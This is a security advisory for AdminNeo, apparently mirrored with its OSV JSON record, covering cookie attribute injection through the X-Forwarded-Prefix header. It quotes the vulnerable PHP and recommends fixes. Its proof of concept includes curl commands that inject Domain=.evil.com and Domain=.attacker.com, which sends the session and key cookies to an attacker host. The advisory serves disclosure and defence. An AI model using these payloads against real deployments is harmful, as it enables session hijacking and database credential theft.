GHSA-79WV-8RH2-9VP2
Vulnerability from github – Published: 2026-10-30 22:52 – Updated: 2026-10-30 22:52Summary
AdminNeo versions 4.6.0 through at least 5.5.0 are vulnerable to cookie attribute injection via the X-Forwarded-Prefix HTTP header. An attacker who can influence this header (e.g., through a reverse proxy that forwards it from clients, an attacker-controlled upstream proxy, or a man-in-the-middle position) can inject arbitrary cookie attributes including Domain, Path, Secure, and SameSite into all Set-Cookie response headers emitted by AdminNeo.
This allows an attacker to expand the cookie scope to an attacker-controlled domain (e.g., Domain=.evil.com), causing the victim's browser to send AdminNeo's neo_sid (session ID) and neo_key (database password encryption key) cookies to the attacker's server on subsequent requests.
Originally reported by @retkoussa in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-c533-9qwm-8w5h
Vulnerable Code
Root cause 1 - Unsanitized header prepended to REQUEST_URI
(admin/include/bootstrap.inc.php, lines 50–52):
if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
$_SERVER["REQUEST_URI"] = $_SERVER["HTTP_X_FORWARDED_PREFIX"] . $_SERVER["REQUEST_URI"];
}
The client-supplied X-Forwarded-Prefix header is concatenated into REQUEST_URI with no validation or sanitization of special characters (specifically semicolons, which delimit cookie attributes).
Root cause 2 - Manual Set-Cookieheader construction without escaping
(admin/include/functions.inc.php, lines 416–424):
function cookie(string $name, string $value, int $lifetime = 2592000): void
{
header("Set-Cookie: $name=" . rawurlencode($value)
. ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "")
. "; path=" . preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"])
. (HTTPS ? "; secure" : "")
. "; HttpOnly; SameSite=lax",
false);
}
The tainted REQUEST_URI is interpolated directly into the path= attribute of the Set-Cookie header. Since semicolons are not stripped or escaped, any ;-separated directives injected via X-Forwarded-Prefix become valid cookie attributes parsed by the browser.
Root cause 3 - Session cookie also tainted
(admin/include/bootstrap.inc.php, line 61):
session_set_cookie_params(0, preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"]), "", HTTPS, true);
The PHP session cookie (neo_sid) path is similarly derived from the tainted REQUEST_URI, extending the same vulnerability to the session cookie set by PHP itself.
Impact
- Session hijacking: The
neo_sidsession cookie is sent to the attacker's domain, allowing full session takeover. - Credential theft: The
neo_keycookie contains the key used to encrypt/decrypt database passwords stored in the session. With this key, an attacker can decrypt saved database credentials. - Session fixation: An attacker can inject arbitrary
Path,SameSite, andSecureattributes, manipulating cookie behavior. - Wide applicability: The
X-Forwarded-Prefixheader was specifically added to support reverse proxy deployments (TraefikPathPrefixStrip, nginx, HAProxy). These are the exact environments where this header is forwarded from clients, making the vulnerability relevant in the deployments it was designed for.
Affected Cookies
|Cookie|Content|Risk|
|neo_sid|PHP session ID|Session hijacking|
|neo_key|Encryption key for stored DB passwords|Credential theft|
|neo_settings|User preferences|Low (information disclosure)|
Proof of Concept
# Normal request with clean Set-Cookie headerss:
curl -sI http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo_key=...; path=/adminneo/index.php; HttpOnly; SameSite=lax
# Malicious request — inject Domain=.evil.com:
curl -sI -H "X-Forwarded-Prefix: /adminneo; Domain=.evil.com" \
http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo_key=...; path=/adminneo; Domain=.evil.com/adminneo/index.php; HttpOnly; SameSite=lax
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^ INJECTED
# Full attribute override - inject Domain + SameSite=None:
curl -sI -H "X-Forwarded-Prefix: /; Path=/; Domain=.attacker.com; SameSite=None" \
http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response Set-Cookie: neo_key=...; path=/; Path=/; Domain=.attacker.com; SameSite=None/adminneo/index.php; ...
Recommended Fix
- Sanitize
X-Forwarded-Prefix: Strip or reject semicolons, newlines, and other HTTP header metacharacters from theX-Forwarded-Prefixvalue before using it. - Use
setcookie()/setrawcookie(): Replace the manualheader("Set-Cookie: ...")construction incookie()with PHP's built-insetcookie()function, which properly escapes attribute values. - Validate
REQUEST_URIbefore cookie use: After any prefix manipulation, strip characters that are invalid in a cookiepathattribute (;,,, whitespace per RFC 6265).
// Example fix for bootstrap.inc.php:
if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
$prefix = preg_replace('~[;\r\n].*~', '', $_SERVER["HTTP_X_FORWARDED_PREFIX"]);
$_SERVER["REQUEST_URI"] = $prefix . $_SERVER["REQUEST_URI"];
}
Server Based Workaround Via Config
Configure the reverse proxy to set X-Forwarded-Prefix to a static, trusted value rather than forwarding the client-supplied header:
# nginx — secure configuration:
fastcgi_param HTTP_X_FORWARDED_PREFIX /adminneo; # static value, not $http_x_forwarded_prefix
# Traefik, use middleware instead of client headers:
middlewares:
strip-prefix:
stripPrefix:
prefixes:
- "/adminneo"
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "adminneo-org/adminneo"
},
"ranges": [
{
"events": [
{
"introduced": "4.6.0"
},
{
"fixed": "5.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-96631"
],
"database_specific": {
"cwe_ids": [
"CWE-113",
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-30T22:52:47Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nAdminNeo versions 4.6.0 through at least 5.5.0 are vulnerable to cookie attribute injection via the `X-Forwarded-Prefix` HTTP header. An attacker who can influence this header (e.g., through a reverse proxy that forwards it from clients, an attacker-controlled upstream proxy, or a man-in-the-middle position) can inject arbitrary cookie attributes including `Domain`, `Path`, `Secure`, and `SameSite` into all `Set-Cookie` response headers emitted by AdminNeo.\n\nThis allows an attacker to expand the cookie scope to an attacker-controlled domain (e.g., `Domain=.evil.com`), causing the victim\u0027s browser to send AdminNeo\u0027s `neo_sid` (session ID) and `neo_key` (database password encryption key) cookies to the attacker\u0027s server on subsequent requests.\n\nOriginally reported by @retkoussa in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-c533-9qwm-8w5h\n\n### Vulnerable Code\n\n**Root cause 1 - Unsanitized header prepended to `REQUEST_URI`**\n(`admin/include/bootstrap.inc.php`, lines 50\u201352):\n\n```php\nif ($_SERVER[\"HTTP_X_FORWARDED_PREFIX\"]) {\n\t$_SERVER[\"REQUEST_URI\"] = $_SERVER[\"HTTP_X_FORWARDED_PREFIX\"] . $_SERVER[\"REQUEST_URI\"];\n}\n```\n\nThe client-supplied `X-Forwarded-Prefix` header is concatenated into `REQUEST_URI` with no validation or sanitization of special characters (specifically semicolons, which delimit cookie attributes).\n\n**Root cause 2 - Manual `Set-Cookie `header construction without escaping**\n(`admin/include/functions.inc.php`, lines 416\u2013424):\n\n```php\nfunction cookie(string $name, string $value, int $lifetime = 2592000): void\n{\n\theader(\"Set-Cookie: $name=\" . rawurlencode($value)\n\t\t. ($lifetime ? \"; expires=\" . gmdate(\"D, d M Y H:i:s\", time() + $lifetime) . \" GMT\" : \"\")\n\t\t. \"; path=\" . preg_replace(\u0027~\\?.*~\u0027, \u0027\u0027, $_SERVER[\"REQUEST_URI\"])\n\t\t. (HTTPS ? \"; secure\" : \"\")\n\t\t. \"; HttpOnly; SameSite=lax\",\n\t\tfalse);\n}\n```\n\nThe tainted `REQUEST_URI` is interpolated directly into the `path=` attribute of the `Set-Cookie` header. Since semicolons are not stripped or escaped, any `;`-separated directives injected via `X-Forwarded-Prefix` become valid cookie attributes parsed by the browser.\n\n**Root cause 3 - Session cookie also tainted**\n(`admin/include/bootstrap.inc.php`, line 61):\n\n```php\nsession_set_cookie_params(0, preg_replace(\u0027~\\?.*~\u0027, \u0027\u0027, $_SERVER[\"REQUEST_URI\"]), \"\", HTTPS, true);\n```\n\nThe PHP session cookie (`neo_sid`) path is similarly derived from the tainted `REQUEST_URI`, extending the same vulnerability to the session cookie set by PHP itself.\n\n### Impact\n\n- **Session hijacking:** The `neo_sid` session cookie is sent to the attacker\u0027s domain, allowing full session takeover.\n- **Credential theft:** The `neo_key` cookie contains the key used to encrypt/decrypt database passwords stored in the session. With this key, an attacker can decrypt saved database credentials.\n- **Session fixation:** An attacker can inject arbitrary `Path`, `SameSite`, and `Secure` attributes, manipulating cookie behavior.\n- **Wide applicability:** The `X-Forwarded-Prefix` header was specifically added to support reverse proxy deployments (Traefik `PathPrefixStrip`, nginx, HAProxy). These are the exact environments where this header is forwarded from clients, making the vulnerability relevant in the deployments it was designed for.\n\n### Affected Cookies\n\n|**Cookie**|**Content**|**Risk**|\n|`neo_sid`|PHP session ID|Session hijacking|\n|`neo_key`|Encryption key for stored DB passwords|Credential theft|\n|`neo_settings`|User preferences|Low (information disclosure)|\n\n### Proof of Concept\n\n```shell\n# Normal request with clean Set-Cookie headerss:\ncurl -sI http://localhost:8080/adminneo/index.php | grep -i set-cookie\n\u003e Response: Set-Cookie: neo_key=...; path=/adminneo/index.php; HttpOnly; SameSite=lax\n\n# Malicious request \u2014 inject Domain=.evil.com:\ncurl -sI -H \"X-Forwarded-Prefix: /adminneo; Domain=.evil.com\" \\\n http://localhost:8080/adminneo/index.php | grep -i set-cookie\n\u003e Response: Set-Cookie: neo_key=...; path=/adminneo; Domain=.evil.com/adminneo/index.php; HttpOnly; SameSite=lax\n# ^^^^^^^^^^^^^^^^^^^^^^^^^^^ INJECTED\n\n# Full attribute override - inject Domain + SameSite=None:\ncurl -sI -H \"X-Forwarded-Prefix: /; Path=/; Domain=.attacker.com; SameSite=None\" \\\n http://localhost:8080/adminneo/index.php | grep -i set-cookie\n\u003e Response Set-Cookie: neo_key=...; path=/; Path=/; Domain=.attacker.com; SameSite=None/adminneo/index.php; ...\n```\n\n### Recommended Fix\n\n1. **Sanitize `X-Forwarded-Prefix`:** Strip or reject semicolons, newlines, and other HTTP header metacharacters from the `X-Forwarded-Prefix` value before using it.\n2. **Use `setcookie()` / `setrawcookie()`:** Replace the manual `header(\"Set-Cookie: ...\")` construction in `cookie()` with PHP\u0027s built-in `setcookie()` function, which properly escapes attribute values.\n3. **Validate `REQUEST_URI` before cookie use:** After any prefix manipulation, strip characters that are invalid in a cookie `path` attribute (`;`, `,`, whitespace per RFC 6265).\n\n```php\n// Example fix for bootstrap.inc.php:\nif ($_SERVER[\"HTTP_X_FORWARDED_PREFIX\"]) {\n $prefix = preg_replace(\u0027~[;\\r\\n].*~\u0027, \u0027\u0027, $_SERVER[\"HTTP_X_FORWARDED_PREFIX\"]);\n $_SERVER[\"REQUEST_URI\"] = $prefix . $_SERVER[\"REQUEST_URI\"];\n}\n```\n\n### Server Based Workaround Via Config\n\nConfigure the reverse proxy to set `X-Forwarded-Prefix` to a static, trusted value rather than forwarding the client-supplied header:\n\n```nginx\n# nginx \u2014 secure configuration:\nfastcgi_param HTTP_X_FORWARDED_PREFIX /adminneo; # static value, not $http_x_forwarded_prefix\n```\n\n```yaml\n# Traefik, use middleware instead of client headers:\nmiddlewares:\n strip-prefix:\n stripPrefix:\n prefixes:\n - \"/adminneo\"\n```",
"id": "GHSA-79wv-8rh2-9vp2",
"modified": "2026-10-30T22:52:47Z",
"published": "2026-10-30T22:52:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/adminneo-org/adminneo/security/advisories/GHSA-79wv-8rh2-9vp2"
},
{
"type": "WEB",
"url": "https://github.com/adminneo-org/adminneo/commit/aa6f2544a8a65cf5e8317f1a902f74181e136d64"
},
{
"type": "PACKAGE",
"url": "https://github.com/adminneo-org/adminneo"
},
{
"type": "WEB",
"url": "https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.